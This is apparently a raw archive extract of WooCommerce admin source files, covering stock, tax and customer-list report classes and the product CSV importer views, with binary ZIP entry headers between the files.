	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this->max_items = 0;
		$this->items     = array();

		$stock = absint( max( get_option( 'woocommerce_notify_low_stock_amount' ), 0 ) );

		$query_from = apply_filters(
			'woocommerce_report_most_stocked_query_from',
			$wpdb->prepare(
				"
				FROM {$wpdb->posts} as posts
				INNER JOIN {$wpdb->wc_product_meta_lookup} AS lookup ON posts.ID = lookup.product_id
				WHERE 1=1
				AND posts.post_type IN ( 'product', 'product_variation' )
				AND posts.post_status = 'publish'
				AND lookup.stock_quantity > %d
				",
				$stock
			)
		);

		$this->items     = $wpdb->get_results( $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS posts.ID as id, posts.post_parent as parent {$query_from} ORDER BY lookup.stock_quantity DESC, id ASC LIMIT %d, %d;", ( $current_page - 1 ) * $per_page, $per_page ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		$this->max_items = $wpdb->get_var( 'SELECT FOUND_ROWS();' ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}
}
PK�3\��!Z��(reports/class-wc-report-low-in-stock.phpnu�[���<?php
/**
 * WC_Report_Low_In_Stock.
 *
 * @package WooCommerce\Admin\Reports
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WC_Report_Stock' ) ) {
	require_once dirname( __FILE__ ) . '/class-wc-report-stock.php';
}

/**
 * Low stock report class.
 */
class WC_Report_Low_In_Stock extends WC_Report_Stock {

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No low in stock products found.', 'woocommerce' );
	}

	/**
	 * Get Products matching stock criteria.
	 *
	 * @param int $current_page Current page number.
	 * @param int $per_page How many results to show per page.
	 */
	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this->max_items = 0;
		$this->items     = array();

		$stock   = absint( max( get_option( 'woocommerce_notify_low_stock_amount' ), 1 ) );
		$nostock = absint( max( get_option( 'woocommerce_notify_no_stock_amount' ), 0 ) );

		$query_from = apply_filters(
			'woocommerce_report_low_in_stock_query_from',
			$wpdb->prepare(
				"
				FROM {$wpdb->posts} as posts
				INNER JOIN {$wpdb->wc_product_meta_lookup} AS lookup ON posts.ID = lookup.product_id
				WHERE 1=1
				AND posts.post_type IN ( 'product', 'product_variation' )
				AND posts.post_status = 'publish'
				AND lookup.stock_quantity <= %d
				AND lookup.stock_quantity > %d
				",
				$stock,
				$nostock
			)
		);

		$this->items     = $wpdb->get_results( $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS posts.ID as id, posts.post_parent as parent {$query_from} ORDER BY posts.post_title DESC LIMIT %d, %d;", ( $current_page - 1 ) * $per_page, $per_page ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		$this->max_items = $wpdb->get_var( 'SELECT FOUND_ROWS();' ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}
}
PK�3\��3#�$�$)reports/class-wc-report-taxes-by-date.phpnu�[���<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Report_Taxes_By_Date
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Taxes_By_Date extends WC_Admin_Report {

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		return array();
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( $_GET['range'] ) : 'last_month';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo date_i18n( 'Y-m-d', current_time( 'timestamp' ) ); ?>.csv"
			class="export_csv"
			data-export="table"
		>
			<?php _e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( $_GET['range'] ) : 'last_month';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ) ) ) {
			$current_range = 'last_month';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		$hide_sidebar = true;

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		$query_data = array(
			'_order_tax'          => array(
				'type'     => 'meta',
				'function' => 'SUM',
				'name'     => 'tax_amount',
			),
			'_order_shipping_tax' => array(
				'type'     => 'meta',
				'function' => 'SUM',
				'name'     => 'shipping_tax_amount',
			),
			'_order_total'        => array(
				'type'     => 'meta',
				'function' => 'SUM',
				'name'     => 'total_sales',
			),
			'_order_shipping'     => array(
				'type'     => 'meta',
				'function' => 'SUM',
				'name'     => 'total_shipping',
			),
			'ID'                  => array(
				'type'     => 'post_data',
				'function' => 'COUNT',
				'name'     => 'total_orders',
				'distinct' => true,
			),
			'post_date'           => array(
				'type'     => 'post_data',
				'function' => '',
				'name'     => 'post_date',
			),
		);

		// We exlude on-hold orders are they are still pending payment.
		$tax_rows_orders = $this->get_order_report_data(
			array(
				'data'         => $query_data,
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'sales-reports' ),
				'order_status' => array( 'completed', 'processing', 'refunded' ),
			)
		);

		$tax_rows_full_refunds = $this->get_order_report_data(
			array(
				'data'                => array(
					'ID'          => array(
						'type'     => 'post_data',
						'distinct' => true,
						'function' => '',
						'name'     => 'ID',
					),
					'post_parent' => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_parent',
					),
					'post_date'   => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'refunded' ),
			)
		);

		$tax_rows_partial_refunds = $this->get_order_report_data(
			array(
				'data'                => $query_data,
				'group_by'            => $this->group_by_query,
				'order_by'            => 'post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'completed', 'processing' ), // Partial refunds inside refunded orders should be ignored.
			)
		);

		$tax_rows = array();

		foreach ( $tax_rows_orders + $tax_rows_partial_refunds as $tax_row ) {
			$key              = date( ( 'month' === $this->chart_groupby ) ? 'Ym' : 'Ymd', strtotime( $tax_row->post_date ) );
			$tax_rows[ $key ] = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_sales'         => 0,
				'total_shipping'      => 0,
				'total_orders'        => 0,
			);
		}

		foreach ( $tax_rows_orders as $tax_row ) {
			$key                                    = date( ( 'month' === $this->chart_groupby ) ? 'Ym' : 'Ymd', strtotime( $tax_row->post_date ) );
			$tax_rows[ $key ]->total_orders        += $tax_row->total_orders;
			$tax_rows[ $key ]->tax_amount          += $tax_row->tax_amount;
			$tax_rows[ $key ]->shipping_tax_amount += $tax_row->shipping_tax_amount;
			$tax_rows[ $key ]->total_sales         += $tax_row->total_sales;
			$tax_rows[ $key ]->total_shipping      += $tax_row->total_shipping;
		}

		foreach ( $tax_rows_partial_refunds as $tax_row ) {
			$key                                    = date( ( 'month' === $this->chart_groupby ) ? 'Ym' : 'Ymd', strtotime( $tax_row->post_date ) );
			$tax_rows[ $key ]->tax_amount          += $tax_row->tax_amount;
			$tax_rows[ $key ]->shipping_tax_amount += $tax_row->shipping_tax_amount;
			$tax_rows[ $key ]->total_sales         += $tax_row->total_sales;
			$tax_rows[ $key ]->total_shipping      += $tax_row->total_shipping;
		}

		foreach ( $tax_rows_full_refunds as $tax_row ) {
			$key              = date( ( 'month' === $this->chart_groupby ) ? 'Ym' : 'Ymd', strtotime( $tax_row->post_date ) );
			$tax_rows[ $key ] = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_sales'         => 0,
				'total_shipping'      => 0,
				'total_orders'        => 0,
			);
			$parent_order     = wc_get_order( $tax_row->post_parent );

			if ( $parent_order ) {
				$tax_rows[ $key ]->tax_amount          += $parent_order->get_cart_tax() * -1;
				$tax_rows[ $key ]->shipping_tax_amount += $parent_order->get_shipping_tax() * -1;
				$tax_rows[ $key ]->total_sales         += $parent_order->get_total() * -1;
				$tax_rows[ $key ]->total_shipping      += $parent_order->get_shipping_total() * -1;
			}
		}
		?>
		<table class="widefat">
			<thead>
				<tr>
					<th><?php _e( 'Period', 'woocommerce' ); ?></th>
					<th class="total_row"><?php _e( 'Number of orders', 'woocommerce' ); ?></th>
					<th class="total_row"><?php _e( 'Total sales', 'woocommerce' ); ?> <?php echo wc_help_tip( __( "This is the sum of the 'Order total' field within your orders.", 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php _e( 'Total shipping', 'woocommerce' ); ?> <?php echo wc_help_tip( __( "This is the sum of the 'Shipping total' field within your orders.", 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php _e( 'Total tax', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the total tax for the rate (shipping tax + product tax).', 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php _e( 'Net profit', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'Total sales minus shipping and tax.', 'woocommerce' ) ); ?></th>
				</tr>
			</thead>
			<?php if ( ! empty( $tax_rows ) ) : ?>
				<tbody>
					<?php
					foreach ( $tax_rows as $date => $tax_row ) {
						$gross     = $tax_row->total_sales - $tax_row->total_shipping;
						$total_tax = $tax_row->tax_amount + $tax_row->shipping_tax_amount;
						?>
						<tr>
							<th scope="row">
								<?php echo ( 'month' === $this->chart_groupby ) ? date_i18n( 'F', strtotime( $date . '01' ) ) : date_i18n( get_option( 'date_format' ), strtotime( $date ) ); ?>
							</th>
							<td class="total_row"><?php echo $tax_row->total_orders; ?></td>
							<td class="total_row"><?php echo wc_price( $gross ); ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->total_shipping ); ?></td>
							<td class="total_row"><?php echo wc_price( $total_tax ); ?></td>
							<td class="total_row"><?php echo wc_price( $gross - $total_tax ); ?></td>
						</tr>
						<?php
					}
					?>
				</tbody>
				<tfoot>
					<?php
						$gross     = array_sum( wp_list_pluck( (array) $tax_rows, 'total_sales' ) ) - array_sum( wp_list_pluck( (array) $tax_rows, 'total_shipping' ) );
						$total_tax = array_sum( wp_list_pluck( (array) $tax_rows, 'tax_amount' ) ) + array_sum( wp_list_pluck( (array) $tax_rows, 'shipping_tax_amount' ) );
					?>
					<tr>
						<th scope="row"><?php _e( 'Totals', 'woocommerce' ); ?></th>
						<th class="total_row"><?php echo array_sum( wp_list_pluck( (array) $tax_rows, 'total_orders' ) ); ?></th>
						<th class="total_row"><?php echo wc_price( $gross ); ?></th>
						<th class="total_row"><?php echo wc_price( array_sum( wp_list_pluck( (array) $tax_rows, 'total_shipping' ) ) ); ?></th>
						<th class="total_row"><?php echo wc_price( $total_tax ); ?></th>
						<th class="total_row"><?php echo wc_price( $gross - $total_tax ); ?></th>
					</tr>
				</tfoot>
			<?php else : ?>
				<tbody>
					<tr>
						<td><?php _e( 'No taxes found in this period', 'woocommerce' ); ?></td>
					</tr>
				</tbody>
			<?php endif; ?>
		</table>
		<?php
	}
}
PK�3\��*�2"2")reports/class-wc-report-customer-list.phpnu�[���<?php
/**
 * Class WC_Report_Customer_List file.
 *
 * @package WooCommerce\Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * WC_Report_Customer_List.
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Customer_List extends WP_List_Table {

	/**
	 * Constructor.
	 */
	public function __construct() {

		parent::__construct(
			array(
				'singular' => 'customer',
				'plural'   => 'customers',
				'ajax'     => false,
			)
		);
	}

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No customers found.', 'woocommerce' );
	}

	/**
	 * Output the report.
	 */
	public function output_report() {
		$this->prepare_items();

		echo '<div id="poststuff" class="woocommerce-reports-wide">';

		if ( ! empty( $_GET['link_orders'] ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'link_orders' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
			$linked = wc_update_new_customer_past_orders( absint( $_GET['link_orders'] ) );
			/* translators: single or plural number of orders */
			echo '<div class="updated"><p>' . sprintf( esc_html( _n( '%s previous order linked', '%s previous orders linked', $linked, 'woocommerce' ), $linked ) ) . '</p></div>';
		}

		if ( ! empty( $_GET['refresh'] ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'refresh' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
			$user_id = absint( $_GET['refresh'] );
			$user    = get_user_by( 'id', $user_id );

			delete_user_meta( $user_id, '_money_spent' );
			delete_user_meta( $user_id, '_order_count' );
			delete_user_meta( $user_id, '_last_order' );
			/* translators: User display name */
			echo '<div class="updated"><p>' . sprintf( esc_html__( 'Refreshed stats for %s', 'woocommerce' ), esc_html( $user->display_name ) ) . '</p></div>';
		}

		echo '<form method="post" id="woocommerce_customers">';

		$this->search_box( __( 'Search customers', 'woocommerce' ), 'customer_search' );
		$this->display();

		echo '</form>';
		echo '</div>';
	}

	/**
	 * Get column value.
	 *
	 * @param WP_User $user WP User object.
	 * @param string  $column_name Column name.
	 * @return string
	 */
	public function column_default( $user, $column_name ) {
		switch ( $column_name ) {

			case 'customer_name':
				if ( $user->last_name && $user->first_name ) {
					return $user->last_name . ', ' . $user->first_name;
				} else {
					return '-';
				}

			case 'username':
				return $user->user_login;

			case 'location':
				$state_code   = get_user_meta( $user->ID, 'billing_state', true );
				$country_code = get_user_meta( $user->ID, 'billing_country', true );

				$state   = isset( WC()->countries->states[ $country_code ][ $state_code ] ) ? WC()->countries->states[ $country_code ][ $state_code ] : $state_code;
				$country = isset( WC()->countries->countries[ $country_code ] ) ? WC()->countries->countries[ $country_code ] : $country_code;

				$value = '';

				if ( $state ) {
					$value .= $state . ', ';
				}

				$value .= $country;

				if ( $value ) {
					return $value;
				} else {
					return '-';
				}

			case 'email':
				return '<a href="mailto:' . $user->user_email . '">' . $user->user_email . '</a>';

			case 'spent':
				return wc_price( wc_get_customer_total_spent( $user->ID ) );

			case 'orders':
				return wc_get_customer_order_count( $user->ID );

			case 'last_order':
				$orders = wc_get_orders(
					array(
						'limit'    => 1,
						'status'   => array_map( 'wc_get_order_status_name', wc_get_is_paid_statuses() ),
						'customer' => $user->ID,
					)
				);

				if ( ! empty( $orders ) ) {
					$order = $orders[0];
					return '<a href="' . admin_url( 'post.php?post=' . $order->get_id() . '&action=edit' ) . '">' . _x( '#', 'hash before order number', 'woocommerce' ) . $order->get_order_number() . '</a> &ndash; ' . wc_format_datetime( $order->get_date_created() );
				} else {
					return '-';
				}

				break;

			case 'wc_actions':
				ob_start();
				?><p>
					<?php
					do_action( 'woocommerce_admin_user_actions_start', $user );

					$actions = array();

					$actions['refresh'] = array(
						'url'    => wp_nonce_url( add_query_arg( 'refresh', $user->ID ), 'refresh' ),
						'name'   => __( 'Refresh stats', 'woocommerce' ),
						'action' => 'refresh',
					);

					$actions['edit'] = array(
						'url'    => admin_url( 'user-edit.php?user_id=' . $user->ID ),
						'name'   => __( 'Edit', 'woocommerce' ),
						'action' => 'edit',
					);

					$actions['view'] = array(
						'url'    => admin_url( 'edit.php?post_type=shop_order&_customer_user=' . $user->ID ),
						'name'   => __( 'View orders', 'woocommerce' ),
						'action' => 'view',
					);

					$orders = wc_get_orders(
						array(
							'limit'    => 1,
							'status'   => array_map( 'wc_get_order_status_name', wc_get_is_paid_statuses() ),
							'customer' => array( array( 0, $user->user_email ) ),
						)
					);

					if ( $orders ) {
						$actions['link'] = array(
							'url'    => wp_nonce_url( add_query_arg( 'link_orders', $user->ID ), 'link_orders' ),
							'name'   => __( 'Link previous orders', 'woocommerce' ),
							'action' => 'link',
						);
					}

					$actions = apply_filters( 'woocommerce_admin_user_actions', $actions, $user );

					foreach ( $actions as $action ) {
						printf( '<a class="button tips %s" href="%s" data-tip="%s">%s</a>', esc_attr( $action['action'] ), esc_url( $action['url'] ), esc_attr( $action['name'] ), esc_attr( $action['name'] ) );
					}

					do_action( 'woocommerce_admin_user_actions_end', $user );
					?>
				</p>
				<?php
				$user_actions = ob_get_contents();
				ob_end_clean();

				return $user_actions;
		}

		return '';
	}

	/**
	 * Get columns.
	 *
	 * @return array
	 */
	public function get_columns() {
		$columns = array(
			'customer_name' => __( 'Name (Last, First)', 'woocommerce' ),
			'username'      => __( 'Username', 'woocommerce' ),
			'email'         => __( 'Email', 'woocommerce' ),
			'location'      => __( 'Location', 'woocommerce' ),
			'orders'        => __( 'Orders', 'woocommerce' ),
			'spent'         => __( 'Money spent', 'woocommerce' ),
			'last_order'    => __( 'Last order', 'woocommerce' ),
			'wc_actions'    => __( 'Actions', 'woocommerce' ),
		);

		return $columns;
	}

	/**
	 * Order users by name.
	 *
	 * @param WP_User_Query $query Query that gets passed through.
	 * @return WP_User_Query
	 */
	public function order_by_last_name( $query ) {
		global $wpdb;

		$s = ! empty( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

		$query->query_from   .= " LEFT JOIN {$wpdb->usermeta} as meta2 ON ({$wpdb->users}.ID = meta2.user_id) ";
		$query->query_where  .= " AND meta2.meta_key = 'last_name' ";
		$query->query_orderby = ' ORDER BY meta2.meta_value, user_login ASC ';

		if ( $s ) {
			$query->query_from   .= " LEFT JOIN {$wpdb->usermeta} as meta3 ON ({$wpdb->users}.ID = meta3.user_id)";
			$query->query_where  .= " AND ( user_login LIKE '%" . esc_sql( str_replace( '*', '', $s ) ) . "%' OR user_nicename LIKE '%" . esc_sql( str_replace( '*', '', $s ) ) . "%' OR meta3.meta_value LIKE '%" . esc_sql( str_replace( '*', '', $s ) ) . "%' ) ";
			$query->query_orderby = ' GROUP BY ID ' . $query->query_orderby;
		}

		return $query;
	}

	/**
	 * Prepare customer list items.
	 */
	public function prepare_items() {
		$current_page = absint( $this->get_pagenum() );
		$per_page     = 20;

		/**
		 * Init column headers.
		 */
		$this->_column_headers = array( $this->get_columns(), array(), $this->get_sortable_columns() );

		add_action( 'pre_user_query', array( $this, 'order_by_last_name' ) );

		/**
		 * Get users.
		 */
		$admin_users = new WP_User_Query(
			array(
				'role'   => 'administrator',
				'fields' => 'ID',
			)
		);

		$manager_users = new WP_User_Query(
			array(
				'role'   => 'shop_manager',
				'fields' => 'ID',
			)
		);

		$query = new WP_User_Query(
			apply_filters(
				'woocommerce_admin_report_customer_list_user_query_args',
				array(
					'exclude' => array_merge( $admin_users->get_results(), $manager_users->get_results() ),
					'number'  => $per_page,
					'offset'  => ( $current_page - 1 ) * $per_page,
				)
			)
		);

		$this->items = $query->get_results();

		remove_action( 'pre_user_query', array( $this, 'order_by_last_name' ) );

		/**
		 * Pagination.
		 */
		$this->set_pagination_args(
			array(
				'total_items' => $query->total_users,
				'per_page'    => $per_page,
				'total_pages' => ceil( $query->total_users / $per_page ),
			)
		);
	}
}
PK�3\dS���0importers/views/html-product-csv-import-form.phpnu�[���<?php
/**
 * Admin View: Product import form
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<form class="wc-progress-form-content woocommerce-importer" enctype="multipart/form-data" method="post">
	<header>
		<h2><?php esc_html_e( 'Import products from a CSV file', 'woocommerce' ); ?></h2>
		<p><?php esc_html_e( 'This tool allows you to import (or merge) product data to your store from a CSV or TXT file.', 'woocommerce' ); ?></p>
	</header>
	<section>
		<table class="form-table woocommerce-importer-options">
			<tbody>
				<tr>
					<th scope="row">
						<label for="upload">
							<?php esc_html_e( 'Choose a CSV file from your computer:', 'woocommerce' ); ?>
						</label>
					</th>
					<td>
						<?php
						if ( ! empty( $upload_dir['error'] ) ) {
							?>
							<div class="inline error">
								<p><?php esc_html_e( 'Before you can upload your import file, you will need to fix the following error:', 'woocommerce' ); ?></p>
								<p><strong><?php echo esc_html( $upload_dir['error'] ); ?></strong></p>
							</div>
							<?php
						} else {
							?>
							<input type="file" id="upload" name="import" size="25" />
							<input type="hidden" name="action" value="save" />
							<input type="hidden" name="max_file_size" value="<?php echo esc_attr( $bytes ); ?>" />
							<br>
							<small>
								<?php
								printf(
									/* translators: %s: maximum upload size */
									esc_html__( 'Maximum size: %s', 'woocommerce' ),
									esc_html( $size )
								);
								?>
							</small>
							<?php
						}
						?>
					</td>
				</tr>
				<tr>
					<th><label for="woocommerce-importer-update-existing"><?php esc_html_e( 'Update existing products', 'woocommerce' ); ?></label><br/></th>
					<td>
						<input type="hidden" name="update_existing" value="0" />
						<input type="checkbox" id="woocommerce-importer-update-existing" name="update_existing" value="1" />
						<label for="woocommerce-importer-update-existing"><?php esc_html_e( 'Existing products that match by ID or SKU will be updated. Products that do not exist will be skipped.', 'woocommerce' ); ?></label>
					</td>
				</tr>
				<tr class="woocommerce-importer-advanced hidden">
					<th>
						<label for="woocommerce-importer-file-url"><?php esc_html_e( 'Alternatively, enter the path to a CSV file on your server:', 'woocommerce' ); ?></label>
					</th>
					<td>
						<label for="woocommerce-importer-file-url" class="woocommerce-importer-file-url-field-wrapper">
							<code><?php echo esc_html( ABSPATH ) . ' '; ?></code><input type="text" id="woocommerce-importer-file-url" name="file_url" />
						</label>
					</td>
				</tr>
				<tr class="woocommerce-importer-advanced hidden">
					<th><label><?php esc_html_e( 'CSV Delimiter', 'woocommerce' ); ?></label><br/></th>
					<td><input type="text" name="delimiter" placeholder="," size="2" /></td>
				</tr>
				<tr class="woocommerce-importer-advanced hidden">
					<th><label><?php esc_html_e( 'Use previous column mapping preferences?', 'woocommerce' ); ?></label><br/></th>
					<td><input type="checkbox" id="woocommerce-importer-map-preferences" name="map_preferences" value="1" /></td>
				</tr>
			</tbody>
		</table>
	</section>
	<script type="text/javascript">
		jQuery(function() {
			jQuery( '.woocommerce-importer-toggle-advanced-options' ).on( 'click', function() {
				var elements = jQuery( '.woocommerce-importer-advanced' );
				if ( elements.is( '.hidden' ) ) {
					elements.removeClass( 'hidden' );
					jQuery( this ).text( jQuery( this ).data( 'hidetext' ) );
				} else {
					elements.addClass( 'hidden' );
					jQuery( this ).text( jQuery( this ).data( 'showtext' ) );
				}
				return false;
			} );
		});
	</script>
	<div class="wc-actions">
		<a href="#" class="woocommerce-importer-toggle-advanced-options" data-hidetext="<?php esc_attr_e( 'Hide advanced options', 'woocommerce' ); ?>" data-showtext="<?php esc_attr_e( 'Show advanced options', 'woocommerce' ); ?>"><?php esc_html_e( 'Show advanced options', 'woocommerce' ); ?></a>
		<button type="submit" class="button button-primary button-next" value="<?php esc_attr_e( 'Continue', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Continue', 'woocommerce' ); ?></button>
		<?php wp_nonce_field( 'woocommerce-csv-importer' ); ?>
	</div>
</form>
PK�3\&dB"��(importers/views/html-csv-import-done.phpnu�[���<?php
/**
 * Admin View: Importer - Done!
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="wc-progress-form-content woocommerce-importer">
	<section class="woocommerce-importer-done">
		<?php
		$results = array();

		if ( 0 < $imported ) {
			$results[] = sprintf(
				/* translators: %d: products count */
				_n( '%s product imported', '%s products imported', $imported, 'woocommerce' ),
				'<strong>' . number_format_i18n( $imported ) . '</strong>'
			);
		}

		if ( 0 < $updated ) {
			$results[] = sprintf(
				/* translators: %d: products count */
				_n( '%s product updated', '%s products updated', $updated, 'woocommerce' ),
				'<strong>' . number_format_i18n( $updated ) . '</strong>'
			);
		}

		if ( 0 < $skipped ) {
			$results[] = sprintf(
				/* translators: %d: products count */
				_n( '%s product was skipped', '%s products were skipped', $skipped, 'woocommerce' ),
				'<strong>' . number_format_i18n( $skipped ) . '</strong>'
			);
		}

		if ( 0 < $failed ) {
			$results [] = sprintf(
				/* translators: %d: products count */
				_n( 'Failed to import %s product', 'Failed to import %s products', $failed, 'woocommerce' ),
				'<strong>' . number_format_i18n( $failed ) . '</strong>'
			);
		}

		if ( 0 < $failed || 0 < $skipped ) {
			$results[] = '<a href="#" class="woocommerce-importer-done-view-errors">' . __( 'View import log', 'woocommerce' ) . '</a>';
		}

		if ( ! empty( $file_name ) ) {
			$results[] = sprintf(
				/* translators: %s: File name */
				__( 'File uploaded: %s', 'woocommerce' ),
				'<strong>' . $file_name . '</strong>'
			);
		}

		/* translators: %d: import results */
		echo wp_kses_post( __( 'Import complete!', 'woocommerce' ) . ' ' . implode( '. ', $results ) );
		?>
	</section>
	<section class="wc-importer-error-log" style="display:none">
		<table class="widefat wc-importer-error-log-table">
			<thead>
				<tr>
					<th><?php esc_html_e( 'Product', 'woocommerce' ); ?></th>
					<th><?php esc_html_e( 'Reason for failure', 'woocommerce' ); ?></th>
				</tr>
			</thead>
			<tbody>
				<?php
				if ( count( $errors ) ) {
					foreach ( $errors as $error ) {
						if ( ! is_wp_error( $error ) ) {
							continue;
						}
						$error_data = $error->get_error_data();
						?>
						<tr>
							<th><code><?php echo esc_html( $error_data['row'] ); ?></code></th>
							<td><?php echo esc_html( $error->get_error_message() ); ?></td>
						</tr>
						<?php
					}
				}
				?>
			</tbody>
		</table>
	</section>
	<script type="text/javascript">
		jQuery(function() {
			jQuery( '.woocommerce-importer-done-view-errors' ).on( 'click', function() {
				jQuery( '.wc-importer-error-log' ).slideToggle();
				return false;
			} );
		} );
	</script>
	<div class="wc-actions">
		<a class="button button-primary" href="<?php echo esc_url( admin_url( 'edit.php?post_type=product' ) ); ?>"><?php esc_html_e( 'View products', 'woocommerce' ); ?></a>
	</div>
</div>
PK�3\P�u��+importers/views/html-csv-import-mapping.phpnu�[���<?php
/**
 * Admin View: Importer - CSV mapping
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<form class="wc-progress-form-content woocommerce-importer" method="post" action="<?php echo esc_url( $this->get_next_step_link() ); ?>">
	<header>
		<h2><?php esc_html_e( 'Map CSV fields to products', 'woocommerce' ); ?></h2>
		<p><?php esc_html_e( 'Select fields from your CSV file to map against products fields, or to ignore during import.', 'woocommerce' ); ?></p>
	</header>
	<section class="wc-importer-mapping-table-wrapper">
		<table class="widefat wc-importer-mapping-table">
			<thead>
				<tr>
					<th><?php esc_html_e( 'Column name', 'woocommerce' ); ?></th>
					<th><?php esc_html_e( 'Map to field', 'woocommerce' ); ?></th>
				</tr>
			</thead>
			<tbody>
				<?php foreach ( $headers as $index => $name ) : ?>
					<?php $mapped_value = $mapped_items[ $index ]; ?>
					<tr>
						<td class="wc-importer-mapping-table-name">
							<?php echo esc_html( $name ); ?>
							<?php if ( ! empty( $sample[ $index ] ) ) : ?>
								<span class="description"><?php esc_html_e( 'Sample:', 'woocommerce' ); ?> <code><?php echo esc_html( $sample[ $index ] ); ?></code></span>
							<?php endif; ?>
						</td>
						<td class="wc-importer-mapping-table-field">
							<input type="hidden" name="map_from[<?php echo esc_attr( $index ); ?>]" value="<?php echo esc_attr( $name ); ?>" />
							<select name="map_to[<?php echo esc_attr( $index ); ?>]">
								<option value=""><?php esc_html_e( 'Do not import', 'woocommerce' ); ?></option>
								<option value="">--------------</option>
								<?php foreach ( $this->get_mapping_options( $mapped_value ) as $key => $value ) : ?>
									<?php if ( is_array( $value ) ) : ?>
										<optgroup label="<?php echo esc_attr( $value['name'] ); ?>">
											<?php foreach ( $value['options'] as $sub_key => $sub_value ) : ?>
												<option value="<?php echo esc_attr( $sub_key ); ?>" <?php selected( $mapped_value, $sub_key ); ?>><?php echo esc_html( $sub_value ); ?></option>
											<?php endforeach ?>
										</optgroup>
									<?php else : ?>
										<option value="<?php echo esc_attr( $key ); ?>" <?php selected( $mapped_value, $key ); ?>><?php echo esc_html( $value ); ?></option>
									<?php endif; ?>
								<?php endforeach ?>
							</select>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
	</section>
	<div class="wc-actions">
		<button type="submit" class="button button-primary button-next" value="<?php esc_attr_e( 'Run the importer', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Run the importer', 'woocommerce' ); ?></button>
		<input type="hidden" name="file" value="<?php echo esc_attr( $this->file ); ?>" />
		<input type="hidden" name="delimiter" value="<?php echo esc_attr( $this->delimiter ); ?>" />
		<input type="hidden" name="update_existing" value="<?php echo (int) $this->update_existing; ?>" />
		<?php wp_nonce_field( 'woocommerce-csv-importer' ); ?>
	</div>
</form>
PK�3\b�3!*importers/views/html-csv-import-header.phpnu�[���<?php
/**
 * Admin View: Header
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="wrap woocommerce">
	<h1><?php esc_html_e( 'Import Products', 'woocommerce' ); ?></h1>

	<div class="woocommerce-progress-form-wrapper">
PK�3\��ff)importers/views/html-csv-import-steps.phpnu�[���<?php
/**
 * Admin View: Steps
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<ol class="wc-progress-steps">
	<?php foreach ( $this->steps as $step_key => $step ) : ?>
